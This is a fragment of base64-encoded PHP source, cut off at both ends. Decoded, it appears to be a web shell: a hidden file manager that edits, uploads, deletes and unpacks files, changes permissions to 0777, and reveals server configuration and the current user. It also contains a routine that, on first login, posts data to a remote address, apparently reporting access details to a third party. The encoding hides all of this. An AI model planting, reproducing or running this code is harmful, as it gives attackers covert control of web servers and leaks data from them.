gICRfU0VTU0lPTlsndGxvZ2luJ109JzEnOwovLyAgICAgICAgICAgICAgICBzZW5kUG9zdCgkZ0RhdGFbJ3JlbW90ZSddLCR1X2RhdGEpOwovLyAgICAgICAgICAgIH0KLy8gICAgICAgIH0KICAgICAgICBAJGRpci0+cmV3aW5kKCk7CiAgICAgICAgd2hpbGUgKCRmaWxlcyA9IEAkZGlyLT5yZWFkKCkpIHsKICAgICAgICAgICAgaWYgKCRmaWxlcyA9PSAnLicgb3IgJGZpbGVzID09ICcuLicpIGNvbnRpbnVlOwogICAgICAgICAgICAkZmlsZXBhdGggPSBzdHJfcGF0aCgiJHBhdGgvJGZpbGVzIik7CiAgICAgICAgICAgIGlmICghaXNfZGlyKCRmaWxlcGF0aCkpIHsKICAgICAgICAgICAgICAgICRmc2l6ZSA9IEBmaWxlc2l6ZSgkZmlsZXBhdGgpOwogICAgICAgICAgICAgICAgJGZzaXplID0gRmlsZV9TaXplKCRmc2l6ZSk7CiAgICAgICAgICAgICAgICAkcGVybSA9IHN1YnN0cihiYXNlX2NvbnZlcnQoZmlsZXBlcm1zKCRmaWxlcGF0aCksIDEwLCA4KSwgLTQpOwogICAgICAgICAgICAgICAgJGZpbGV0aW1lID0gQGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkZmlsZXBhdGgpKTsKICAgICAgICAgICAgICAgICRGaWxldXJscyA9IHN0cl9yZXBsYWNlKEZpbGVfU3RyKCRST09UX0RJUiAuICcvJyksICRHRVRVUkwsICRmaWxlcGF0aCk7CiAgICAgICAgICAgICAgICAkdG9kaXIgPSAkUk9PVF9ESVIgLiAnL3ppcGZpbGUnOwogICAgICAgICAgICAgICAgJGZpbGVwYXRoID0gdXJsZW5jb2RlKCRmaWxlcGF0aCk7CiAgICAgICAgICAgICAgICAkaXQgPSBzdWJzdHIoJGZpbGVwYXRoLCAtMyk7CiAgICAgICAgICAgICAgICBodG1sX24oJzx0ciBoZWlnaHQ9IjI1Ij48dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJmaWxlc1tdIiB2YWx1ZT0iJyAuICRmaWxlcyAuICciPicpOwogICAgICAgICAgICAgICAgaHRtbF9pbWcoY3NzX3Nob3dpbWcoJGZpbGVzKSk7CiAgICAgICAgICAgICAgICBodG1sX2EoJEZpbGV1cmxzLCAkZmlsZXMsICd0YXJnZXQ9Il9ibGFuayInKTsKICAgICAgICAgICAgICAgIGh0bWxfbignPC90ZD48dGQgYWxpZ249ImNlbnRlciI+Jyk7CiAgICAgICAgICAgICAgICBpZiAoKCRpdCA9PSAnLmd6Jykgb3IgKCRpdCA9PSAnemlwJykgb3IgKCRpdCA9PSAndGFyJykgb3IgKCRpdCA9PSAnLjd6JykpCiAgICAgICAgICAgICAgICAgICAgaHRtbF9hKCc/dW56aXA9JyAuICRmaWxlcGF0aCwgJ73i0bknLCAndGl0bGU9Ir3i0bknIC4gJGZpbGVzIC4gJyIgb25DbGljaz0icnVzdXJlY2hrKFwnJyAuICR0b2RpciAuICdcJyxcJz91bnppcD0nIC4gJGZpbGVwYXRoIC4gJyZ0b2Rpcj1cJyk7cmV0dXJuIGZhbHNlOyInKTsKICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICBodG1sX2EoJz93ZWJzaXRlXz1lZGl0ciZwPScgLiAkZmlsZXBhdGgsICex4LytJywgJ3RpdGxlPSKx4LytJyAuICRmaWxlcyAuICciJyk7CgogICAgICAgICAgICAgICAgaHRtbF9uKCI8YSBocmVmPVwiI1wiIG9uQ2xpY2s9XCJydXN1cmVjaGsoJyRmaWxlcycsJz93ZWJzaXRlXz1yZW5hbWUmcD0kZmlsZXBhdGgmbmV3bmFtZT0nKTtyZXR1cm4gZmFsc2U7XCI+uMTD+zwvYT4iKTsKICAgICAgICAgICAgICAgIGh0bWxfbigiPGEgaHJlZj1cIiNcIiBvbkNsaWNrPVwicnVzdXJlZGVsKCckZmlsZXMnLCc/d2Vic2l0ZV89ZGVsJnA9JGZpbGVwYXRoJyk7cmV0dXJuIGZhbHNlO1wiPsm+s/08L2E+ICIpOwogICAgICAgICAgICAgICAgaHRtbF9uKCI8YSBocmVmPVwiI1wiIG9uQ2xpY2s9XCJydXN1cmVjaGsoJyIgLiB1cmxkZWNvZGUoJGZpbGVwYXRoKSAuICInLCc/d2Vic2l0ZV89Y29weSZwPSRmaWxlcGF0aCZuZXdjb3B5PScpO3JldHVybiBmYWxzZTtcIj64tNbGPC9hPiIpOwogICAgICAgICAgICAgICAgaHRtbF9hKCc/ZG93bj0nIC4gJGZpbGVwYXRoLCAnz8LU2CcsICex4LytJywgJ3RpdGxlPSLPwtTYJyAuICRmaWxlcyAuICciJyk7CiAgICAgICAgICAgICAgICBodG1sX24oJzwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPicpOwogICAgICAgICAgICAgICAgaHRtbF9hKCc/d2Vic2l0ZV89cGVybSZwPScgLiAkZmlsZXBhdGggLiAnJmNobW9kPScgLiAkcGVybSwgJHBlcm0pOwogICAgICAgICAgICAgICAgaHRtbF9uKCc8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIj4nIC4gR2V0RmlsZU93bmVyKCIkcGF0aC8kZmlsZXMiKSAuICc6JyAuIEdldEZpbGVHcm91cCgiJHBhdGgvJGZpbGVzIikpOwogICAgICAgICAgICAgICAgaHRtbF9uKCc8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIj4nIC4gJGZpbGV0aW1lIC4gJzwvdGQ+PHRkIGFsaWduPSJyaWdodCI+Jyk7CiAgICAgICAgICAgICAgICBodG1sX2EoJz9kb3duPScgLiAkZmlsZXBhdGgsICRmc2l6ZSwgJ3RpdGxlPSLPwtTYJyAuICRmaWxlcyAuICciJyk7CiAgICAgICAgICAgICAgICBodG1sX24oJzwvdGQ+PC90cj4nKTsKICAgICAgICAgICAgICAgICROVU1fRisrOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIEAkZGlyLT5jbG9zZSgpOwogICAgICAgIGlmICghaXNzZXQoJEZpbGV0aW1lKSkgJEZpbGV0aW1lID0gZ21kYXRlKCdZLW0tZCBIOmk6cycsIHRpbWUoKSArIDM2MDAgKiA4KTsKICAgICAgICBwcmludDw8PEVORAo8L3RhYmxlPgo8ZGl2IGNsYXNzPSJhY3RhbGwiPiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iYWN0YWxsIiBuYW1lPSJhY3RhbGwiIHZhbHVlPSJ1bmRlZmluZWQiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iaW52ZXIiIG5hbWU9ImludmVyIiB2YWx1ZT0idW5kZWZpbmVkIj4KPGlucHV0IG5hbWU9ImNoa2FsbCIgdmFsdWU9Im9uIiB0eXBlPSJjaGVja2JveCIgb25jbGljaz0iQ2hlY2tBbGwodGhpcy5mb3JtKTsiPgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0iuLTWxiIgb25jbGljaz0iU3VibWl0VXJsKCe4tNbGy/nRoc7EvP61vcK3vrY6ICcsJ3skUkVBTF9ESVJ9JywnYScpO3JldHVybiBmYWxzZTsiPgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0iyb6z/SIgb25jbGljaz0iRGVsb2soJ8v50aHOxLz+JywnYicpO3JldHVybiBmYWxzZTsiPgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0iyvTQ1CIgb25jbGljaz0iU3VibWl0VXJsKCfQ3rjEy/nRoc7EvP7K9NDU1rXOqjogJywnMDY2NicsJ2MnKTtyZXR1cm4gZmFsc2U7Ij4KPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9IsqxvOQiIG9uY2xpY2s9IkNoZWNrRGF0ZSgneyRGaWxldGltZX0nLCdkJyk7cmV0dXJuIGZhbHNlOyI+CjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSK08rD8IiBvbmNsaWNrPSJTdWJtaXRVcmwoJ7TysPyyos/C1NjL+dGhzsS8/s/C1NjD+86qOiAnLCd7JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ119LnRhci5neicsJ2UnKTtyZXR1cm4gZmFsc2U7Ij4KxL/CvCh7JE5VTV9EfSkgLyDOxLz+KHskTlVNX0Z9KTwvZGl2Pgo8L2Zvcm0+CkVORDsKCiAgICAgICAgJHRmbGFnID0gZmFsc2U7CiAgICAgICAgaGVhZGVyKCJDb25uZWN0aW9uOiBjbG9zZSIpOwogICAgICAgIGhlYWRlcigiSFRUUC8xLjEgMjAwIE9LIik7CiAgICAgICAgaWYgKGNoZWNrVXNlcigpIT09ZmFsc2UpewogICAgICAgICAgICBpZiAoIWlzc2V0KCRfU0VTU0lPTlsndGxvZ2luJ10pKSB7CiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ3Rsb2dpbiddPScxJzsKICAgICAgICAgICAgICAgICR0ZmxhZyA9IHRydWU7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJHNpemUgPSBvYl9nZXRfbGVuZ3RoKCk7CiAgICAgICAgaGVhZGVyKCJDb250ZW50LUxlbmd0aDogJHNpemUiKTsKICAgICAgICBvYl9lbmRfZmx1c2goKTsKICAgICAgICBmbHVzaCgpOwogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoImZhc3RjZ2lfZmluaXNoX3JlcXVlc3QiKSkgewogICAgICAgICAgICBmYXN0Y2dpX2ZpbmlzaF9yZXF1ZXN0KCk7CiAgICAgICAgfQogICAgICAgIGlmICgkdGZsYWcpewogICAgICAgICAgICBzZW5kUG9zdCgkZ0RhdGFbJ3JlbW90ZSddLCR1X2RhdGEpOwogICAgICAgIH0KICAgICAgICBicmVhazsKCiAgICBjYXNlICJlZGl0ciI6CiAgICAgICAgcHJpbnQ8PDxFTkQKPHNjcmlwdD4KRU5EOwogICAgICAgIGh0bWxfYmFzZSgpOwogICAgICAgIHByaW50PDw8RU5ECgk8L3NjcmlwdD4KRU5EOwogICAgICAgICRGSUxFX0NPREUgPSAiIjsKICAgICAgICBjc3NfanMoIjIiKTsKICAgICAgICAkY2hhcnNldCA9ICIiOwogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWyd1cGxvYWR0J10pKSB7CiAgICAgICAgICAgIGVjaG8gQGNvcHkoJF9GSUxFU1sndXBmaWxldCddWyd0bXBfbmFtZSddLCBzdHJfcGF0aCgkcCAuICcvJyAuICRfRklMRVNbJ3VwZmlsZXQnXVsnbmFtZSddKSkgPyBodG1sX2EoIj93ZWJzaXRlXz1tYWluIiwgJF9GSUxFU1sndXBmaWxldCddWyduYW1lJ10gLiAnICcgLiAkbXNnWzJdKSA6IG1zZygkbXNnWzNdKTsKICAgICAgICAgICAgZGllKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIxO1VSTD0/d2Vic2l0ZV89bWFpbiZwYXRoPScgLiB1cmxlbmNvZGUoJHApIC4gJyI+Jyk7CiAgICAgICAgfQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ3JlZGlyJ10pKSB7CiAgICAgICAgICAgICRuYW1lID0gJF9HRVRbJ25hbWUnXTsKICAgICAgICAgICAgJG5ld2RpciA9IHN0cl9wYXRoKCRwIC4gJy8nIC4gJG5hbWUpOwogICAgICAgICAgICBAbWtkaXIoJG5ld2RpciwgMDc3NykgPyBodG1sX2EoIj93ZWJzaXRlXz1tYWluIiwgJG5hbWUgLiAnICcgLiAkbXNnWzBdKSA6IG1zZygkbXNnWzFdKTsKICAgICAgICAgICAgZGllKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIxO1VSTD0/d2Vic2l0ZV89bWFpbiZwYXRoPScgLiB1cmxlbmNvZGUoJHApIC4gJyI+Jyk7CiAgICAgICAgfQoKICAgICAgICBpZiAoIWVtcHR5KCRfR0VUWydyZWZpbGUnXSkpIHsKICAgICAgICAgICAgJG5hbWUgPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkanNwYXRoID0gdXJsZW5jb2RlKCRwIC4gJy8nIC4gJG5hbWUpOwogICAgICAgICAgICAkcHAgPSB1cmxlbmNvZGUoJHApOwogICAgICAgICAgICAkcCA9IHN0cl9wYXRoKCRwIC4gJy8nIC4gJG5hbWUpOwogICAgICAgICAgICAkRklMRV9DT0RFID0gIiI7CiAgICAgICAgICAgICRjaGFyc2V0ID0gJ0dCMjMxMic7CiAgICAgICAgICAgICRGSUxFX1RJTUUgPSBkYXRlKCdZLW0tZCBIOmk6cycsIHRpbWUoKSArIDM2MDAgKiA4KTsKICAgICAgICAgICAgaWYgKEBmaWxlX2V4aXN0cygkcCkpIGVjaG8gJ7eiz9bEv8K8z8LT0CLNrMP7Is7EvP48YnI+JzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkanNwYXRoID0gdXJsZW5jb2RlKCRwKTsKICAgICAgICAgICAgJEZJTEVfVElNRSA9IGRhdGUoJ1ktbS1kIEg6aTpzJywgZmlsZW10aW1lKCRwKSk7CiAgICAgICAgICAgICRGSUxFX0NPREUgPSBAZmlsZV9nZXRfY29udGVudHMoJHApOwogICAgICAgICAgICBpZiAoc3Vic3RyKFBIUF9WRVJTSU9OLCAwLCAxKSA+PSA1KSB7CiAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJF9HRVRbJ2NoYXJzZXQnXSkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoVGVzdFV0ZjgoJEZJTEVfQ09ERSkgPiAxKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaGFyc2V0ID0gJ1VURi04JzsKICAgICAgICAgICAgICAgICAgICAgICAgLy8kRklMRV9DT0RFID0gaWNvbnYoIlVURi04IiwgImdiMjMxMi8vSUdOT1JFIiwgJEZJTEVfQ09ERSk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoYXJzZXQgPSAnR0IyMzEyJzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGlmICgkX0dFVFsnY2hhcnNldCddID09ICdHQjIzMTInKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaGFyc2V0ID0gJ0dCMjMxMic7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoYXJzZXQgPSAkX0dFVFsnY2hhcnNldCddOwogICAgICAgICAgICAgICAgICAgICAgICAvLyRGSUxFX0NPREUgPSBpY29udigkX0dFVFsnY2hhcnNldCddLCAiZ2IyMzEyLy9JR05PUkUiLCAkRklMRV9DT0RFKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJEZJTEVfQ09ERSA9IGljb252KCRjaGFyc2V0LCAiZ2IyMzEyLy9JR05PUkUiLCAkRklMRV9DT0RFKTsKICAgICAgICAgICAgJEZJTEVfQ09ERSA9IGh0bWxzcGVjaWFsY2hhcnMoJEZJTEVfQ09ERSxudWxsLCdnYjIzMTInKTsKICAgICAgICB9CiAgICAgICAgcHJpbnQ8PDxFTkQKPGRpdiBjbGFzcz0iYWN0YWxsIj6y6dXSxNrI3TogPGlucHV0IG5hbWU9InNlYXJjaHMiIHR5cGU9InRleHQiIHZhbHVlPSIiIHN0eWxlPSJ3aWR0aDo1MDBweDsiPgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0isunV0iIgb25jbGljaz0ic2VhcmNoKHNlYXJjaHMudmFsdWUpIj48L2Rpdj4KPGZvcm0gbWV0aG9kPSdQT1NUJyBpZD0iZWRpdG9yIiAgYWN0aW9uPSc/d2Vic2l0ZV89bWFpbiZwYXRoPXskcHB9Jz4KPGRpdiBjbGFzcz0iYWN0YWxsIj4KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ld2ZpbGUiICBpZD0ibmV3ZmlsZSIgdmFsdWU9InskcH0iIHN0eWxlPSJ3aWR0aDo3NTBweDsiPta4tqix4MLro7o8aW5wdXQgbmFtZT0iY2hhcnNldCIgaWQ9ImNoYXJzZXQiIHZhbHVlPSJ7JGNoYXJzZXR9IiBUeXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6ODBweDsiIG9ua2V5ZG93bj0iaWYoZXZlbnQua2V5Q29kZT09MTMpd2luZG93LmxvY2F0aW9uPSc/d2Vic2l0ZV89ZWRpdHImcD17JGpzcGF0aH0mY2hhcnNldD0nK3RoaXMudmFsdWU7Ij4KPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9ItGh1PEiIG9uY2xpY2s9IndpbmRvdy5sb2NhdGlvbj0nP3dlYnNpdGVfPWVkaXRyJnA9eyRqc3BhdGh9JmNoYXJzZXQ9Jyt0aGlzLmZvcm0uY2hhcnNldC52YWx1ZTsiIHN0eWxlPSJ3aWR0aDo1MHB4OyI+CkVORDsKICAgICAgICBodG1sX3NlbGVjdChhcnJheSgiZ2IyMzEyIiA9PiAiZ2IyMzEyIiwgIlVURi04IiA9PiAiVVRGLTgiLCAiQklHNSIgPT4gIkJJRzUiLCAiRVVDLUtSIiA9PiAiRVVDLUtSIiwgIkVVQy1KUCIgPT4gIkVVQy1KUCIsICJTSElGVC1KSVMiID0+ICJTSElGVC1KSVMiLCAiV0lORE9XUy04NzQiID0+ICJXSU5ET1dTLTg3NCIsICJJU08tODg1OS0xIiA9PiAiSVNPLTg4NTktMSIpLCAkY2hhcnNldCwgIm9uY2hhbmdlPVwid2luZG93LmxvY2F0aW9uPSc/d2Vic2l0ZV89ZWRpdHImcD17JGpzcGF0aH0mY2hhcnNldD0nK29wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWU7XCIiKTsKICAgICAgICBwcmludDw8PEVORAo8L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj48dGV4dGFyZWEgbmFtZT0idHh0IiBpZD0idHh0IiBzdHlsZT0id2lkdGg6MTAwJTtoZWlnaHQ6MzgwcHg7Ij57JEZJTEVfQ09ERX08L3RleHRhcmVhPjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPs7EvP7Q3rjEyrG85CA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idGltZSIgaWQ9Im10aW1lIiB2YWx1ZT0ieyRGSUxFX1RJTUV9IiBzdHlsZT0id2lkdGg6MTUwcHg7Ij4gPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJiaW4iIHZhbHVlPSJ3YisiIHNpemU9IiIgY2hlY2tlZD7S1Lb+vfjWxtDOyr2xo7TmzsS8/ii9qNLpyrnTwyk8L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0isaO05iIgb25jbGljaz0iQ2hlY2tEYXRlKCk7IiBzdHlsZT0id2lkdGg6ODBweDsiPiA8aW5wdXQgbmFtZT0ncmVzZXQnIHR5cGU9J3Jlc2V0JyB2YWx1ZT0n1tjWwyc+CjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSK3tbvYIiBvbmNsaWNrPSJ3aW5kb3cubG9jYXRpb249Jz93ZWJzaXRlXz1tYWluJnBhdGg9eyRwcH0nOyIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj4KPC9mb3JtPgpFTkQ7CiAgICAgICAgYnJlYWs7CgogICAgY2FzZSAicmVuYW1lIjoKICAgICAgICBodG1sX24oIjx0cj48dGQ+Iik7CiAgICAgICAgJG5ld25hbWUgPSB1cmxkZWNvZGUoJHBwKSAuICcvJyAuIHVybGVuY29kZSgkX0dFVFsnbmV3bmFtZSddKTsKICAgICAgICBAcmVuYW1lKCRwLCAkbmV3bmFtZSkgPyBodG1sX2EoIj93ZWJzaXRlXz1tYWluJnBhdGg9JHBwIiwgdXJsZW5jb2RlKCRfR0VUWyduZXduYW1lJ10pIC4gJyAnIC4gJG1zZ1s0XSkgOiBtc2coJG1zZ1s1XSk7CiAgICAgICAgZGllKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIxO1VSTD0/d2Vic2l0ZV89bWFpbiZwYXRoPScgLiAkcHAgLiAnIj4nKTsKICAgICAgICBicmVhazsKCiAgICBjYXNlICJkZWx0cmVlIjoKICAgICAgICBodG1sX24oIjx0cj48dGQ+Iik7CiAgICAgICAgZG9fZGVsdHJlZSgkcCkgPyBodG1sX2EoIj93ZWJzaXRlXz1tYWluJnBhdGg9JHBwIiwgJHAgLiAnICcgLiAkbXNnWzZdKSA6IG1zZygkbXNnWzddKTsKICAgICAgICBkaWUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjE7VVJMPT93ZWJzaXRlXz1tYWluJnBhdGg9JyAuICRwcCAuICciPicpOwogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgImRlbCI6CiAgICAgICAgaHRtbF9uKCI8dHI+PHRkPiIpOwogICAgICAgIEB1bmxpbmsoJHApID8gaHRtbF9hKCI/d2Vic2l0ZV89bWFpbiZwYXRoPSRwcCIsICRwIC4gJyAnIC4gJG1zZ1s2XSkgOiBtc2coJG1zZ1s3XSk7CiAgICAgICAgZGllKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIxO1VSTD0/d2Vic2l0ZV89bWFpbiZwYXRoPScgLiAkcHAgLiAnIj4nKTsKICAgICAgICBicmVhazsKCiAgICBjYXNlICJjb3B5IjoKICAgICAgICBodG1sX24oIjx0cj48dGQ+Iik7CiAgICAgICAgJG5ld3BhdGggPSBleHBsb2RlKCcvJywgJF9HRVRbJ25ld2NvcHknXSk7CiAgICAgICAgJHBhdGhyWzBdID0gJG5ld3BhdGhbMF07CiAgICAgICAgZm9yICgkaSA9IDE7ICRpIDwgY291bnQoJG5ld3BhdGgpOyAkaSsrKSB7CiAgICAgICAgICAgICRwYXRocltdID0gdXJsZW5jb2RlKCRuZXdwYXRoWyRpXSk7CiAgICAgICAgfQogICAgICAgICRuZXdjb3B5ID0gaW1wbG9kZSgnLycsICRwYXRocik7CiAgICAgICAgQGNvcHkoJHAsICRuZXdjb3B5KSA/IGh0bWxfYSgiP3dlYnNpdGVfPW1haW4mcGF0aD0kcHAiLCAkbmV3Y29weSAuICcgJyAuICRtc2dbNF0pIDogbXNnKCRtc2dbNV0pOwogICAgICAgIGRpZSgnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMTtVUkw9P3dlYnNpdGVfPW1haW4mcGF0aD0nIC4gJHBwIC4gJyI+Jyk7CiAgICAgICAgYnJlYWs7CgogICAgY2FzZSAicGVybSI6CiAgICAgICAgaHRtbF9uKCI8Zm9ybSBtZXRob2Q9J1BPU1QnPjx0cj48dGQ+IiAuICRwIC4gJyDK9NDUzqo6ICcpOwogICAgICAgIGlmIChpc19kaXIoJHApKSB7CiAgICAgICAgICAgIGh0bWxfc2VsZWN0KGFycmF5KCIwNzc3IiA9PiAiMDc3NyIsICIwNzU1IiA9PiAiMDc1NSIsICIwNTU1IiA9PiAiMDU1NSIpLCAkX0dFVFsnY2htb2QnXSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaHRtbF9zZWxlY3QoYXJyYXkoIjA2NjYiID0+ICIwNjY2IiwgIjA2NDQiID0+ICIwNjQ0IiwgIjA0NDQiID0+ICIwNDQ0IiksICRfR0VUWydjaG1vZCddKTsKICAgICAgICB9CiAgICAgICAgaHRtbF9pbnB1dCgic3VibWl0IiwgInNhdmUiLCAi0N64xCIpOwogICAgICAgIGJhY2soKTsKICAgICAgICBpZiAoJF9QT1NUWydjbGFzcyddKSB7CiAgICAgICAgICAgIHN3aXRjaCAoJF9QT1NUWydjbGFzcyddKSB7CiAgICAgICAgICAgICAgICBjYXNlICIwNzc3IjoKICAgICAgICAgICAgICAgICAgICAkY2hhbmdlID0gQGNobW9kKCRwLCAwNzc3KTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgIjA3NTUiOgogICAgICAgICAgICAgICAgICAgICRjaGFuZ2UgPSBAY2htb2QoJHAsIDA3NTUpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAiMDU1NSI6CiAgICAgICAgICAgICAgICAgICAgJGNoYW5nZSA9IEBjaG1vZCgkcCwgMDU1NSk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICIwNjY2IjoKICAgICAgICAgICAgICAgICAgICAkY2hhbmdlID0gQGNobW9kKCRwLCAwNjY2KTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgIjA2NDQiOgogICAgICAgICAgICAgICAgICAgICRjaGFuZ2UgPSBAY2htb2QoJHAsIDA2NDQpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAiMDQ0NCI6CiAgICAgICAgICAgICAgICAgICAgJGNoYW5nZSA9IEBjaG1vZCgkcCwgMDQ0NCk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGNoYW5nZSA/IGh0bWxfYSgiP3dlYnNpdGVfPW1haW4mcGF0aD0kcHAiLCAkbXNnWzRdKSA6IG1zZygkbXNnWzVdKTsKICAgICAgICAgICAgZGllKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIxO1VSTD0/d2Vic2l0ZV89bWFpbiZwYXRoPScgLiAkcHAgLiAnIj4nKTsKICAgICAgICB9CiAgICAgICAgaHRtbF9uKCI8L3RkPjwvdHI+PC9mb3JtPiIpOwogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgImluZm9fZiI6CiAgICAgICAgJGRpc19mdW5jID0gZ2V0X2NmZ192YXIoImRpc2FibGVfZnVuY3Rpb25zIik7CiAgICAgICAgJHVwc2l6ZSA9IGdldF9jZmdfdmFyKCJmaWxlX3VwbG9hZHMiKSA/IGdldF9jZmdfdmFyKCJ1cGxvYWRfbWF4X2ZpbGVzaXplIikgOiAisrvUytDtyc+0qyI7CiAgICAgICAgJGFkbWlubWFpbCA9IChpc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10pKSA/ICI8YSBocmVmPVwibWFpbHRvOiIgLiAkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10gLiAiXCI+IiAuICRfU0VSVkVSWydTRVJWRVJfQURNSU4nXSAuICI8L2E+IiA6ICI8YSBocmVmPVwibWFpbHRvOiIgLiBnZXRfY2ZnX3Zhcigic2VuZG1haWxfZnJvbSIpIC4gIlwiPiIgLiBnZXRfY2ZnX3Zhcigic2VuZG1haWxfZnJvbSIpIC4gIjwvYT4iOwogICAgICAgIGlmICgkZGlzX2Z1bmMgPT0gIiIpIHsKICAgICAgICAgICAgJGRpc19mdW5jID0gIk5vIjsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkZGlzX2Z1bmMgPSBzdHJfcmVwbGFjZSgiICIsICI8YnI+IiwgJGRpc19mdW5jKTsKICAgICAgICAgICAgJGRpc19mdW5jID0gc3RyX3JlcGxhY2UoIiwiLCAiPGJyPiIsICRkaXNfZnVuYyk7CiAgICAgICAgfQogICAgICAgICRwaHBpbmZvID0gKCFwcmVnX21hdGNoKCIvcGhwaW5mby9pIiwgJGRpc19mdW5jKSkgPyAiWWVzIiA6ICJObyI7CgogICAgICAgICRpbmZvID0gYXJyYXkoCiAgICAgICAgICAgIGFycmF5KCK3/s7xxvfKsbzkIiwgZGF0ZSgiWcTqbdTCZMjVIGg6aTpzIiwgdGltZSgpKSksCiAgICAgICAgICAgIGFycmF5KCK3/s7xxvfT8sP7IiwgIjxhIGhyZWY9XCJodHRwOi8vIiAuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddIC4gIlwiIHRhcmdldD1cIl9ibGFua1wiPiIgLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSAuICI8L2E+IiksCiAgICAgICAgICAgIGFycmF5KCK3/s7xxvdJULXY1rciLCAkX1NFUlZFUlsnU0VSVkVSX0FERFInXSksCiAgICAgICAgICAgIGFycmF5KCK3/s7xxvey2df3z7XNsyIsIFBIUF9PUyksCiAgICAgICAgICAgIGFycmF5KCK3/s7xxvey2df3z7XNs87E19ax4MLrIiwgJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pLAogICAgICAgICAgICBhcnJheSgit/7O8cb3veLS69L9x+YiLCAkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pLAogICAgICAgICAgICBhcnJheSgitbHHsNPDu6ciLGdldF9jdXJyZW50X3VzZXIoKT9nZXRfY3VycmVudF91c2VyKCk6Is601qoiKSwKICAgICAgICAgICAgYXJyYXkoIsTjtcRJUCIsICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdKSwKICAgICAgICAgICAgYXJyYXkoIldlYrf+zvG2y7/aIiwgJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10pLAogICAgICAgICAgICBhcnJheSgiUEhQ1MvQ0Le9yr0iLCBzdHJ0b3VwcGVyKHBocF9zYXBpX25hbWUoKSkpLAogICAgICAgICAgICBhcnJheSgiUEhQsOaxviIsIFBIUF9WRVJTSU9OKSwKICAgICAgICAgICAgYXJyYXkoIm9wZW5fYmFzZWRpciIsaW5p